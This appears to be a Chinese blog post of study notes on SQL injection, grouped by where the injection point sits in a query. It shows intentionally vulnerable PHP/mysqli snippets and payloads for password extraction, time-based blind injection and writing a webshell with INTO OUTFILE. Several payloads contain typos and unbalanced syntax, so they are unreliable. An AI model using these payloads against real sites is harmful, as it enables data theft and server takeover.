SQL注入笔记(二)

本文详细介绍了SQL注入的常见类型,包括SELECT注入、WHERE条件注入、GROUP BY和ORDER BY注入以及LIMIT后的注入。通过实例展示了如何利用注入点进行数据获取,同时提到了时间盲注和利用INTO OUTFILE写入webshell的方法。文章还提醒了开发者注意反引号包裹的注入点,并建议在不确定表名时查询information_schema数据库。最后,强调了注入点位置的判断和时间注入在无ORDER BY语句时的应用。

注入点

一、SELECT注入
1.注入点在select_expr
源码:$res=mysqli_query($conn,"SELECT ${_GET['id']},content ROM wp_news");
既可以采取时间盲注进行数据获取,也可以用AS别名的方法,将查询的结果直接显示到界面,访问?id=(select%20pwd%20from%20wp_user)%20as%20title
注意:若注入点有反引号包裹,应先闭合。
2.注入点在table_reference
SQL语句:$res=mysqli_query($conn,"select title from ${_GET['table']}");
直接用别名的方式取出数据,如:SELECT title FROM (SELECT pwd AS title FROM wp_user)x
在不知道表名的情况下可以先从information_schema.tables中查询表名。
注意:若注入点有反引号包裹,应先闭合。
3.注入点在WHERE和HAVING后:
SQL语句:$res=mysqli_query($conn,"SELECT title FROM wp_news where id={_GET[id]}");
4.注入点在GROUP BY和ORDER BY后
当遇到不是where后的注入点时,先在本地的MySQL中进行尝试,看语句后能加什么,从而判断当前可注入的位置,$res=mysqli_query($conn,"SELECT title FROM wp_news GROUP BY ${_GET['title']}");
经测试发现,title=id desc,(if(1,sleep(1),1))会让页面迟1秒,就可以用时间注入获取相关数据。
5.注入点在limit之后,由于语法限制,LIMIT后只能是数字,在SQL语句中没有ORDER BY语句时 ,可以直接时间注入PROCEDURE analysis(SELECT extravalue(1,concat(0x3a,(IF(MID(VERSION(),1,1) LIKE 5,BENCHMARK(5000000,SHA1(1)),1))))),))BENCHMARK语句处理时间大约是1秒,在有写入权限的特定情况条件下,我们也可以用into outfile语句想web目录写入webshell,在无法控制文件内容的情况下,可通过SELECT xx into outfile "/tmp/xxx.php"LINES TERMINATED BY'<?php phpinfo();?>的方式控制部分内容。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值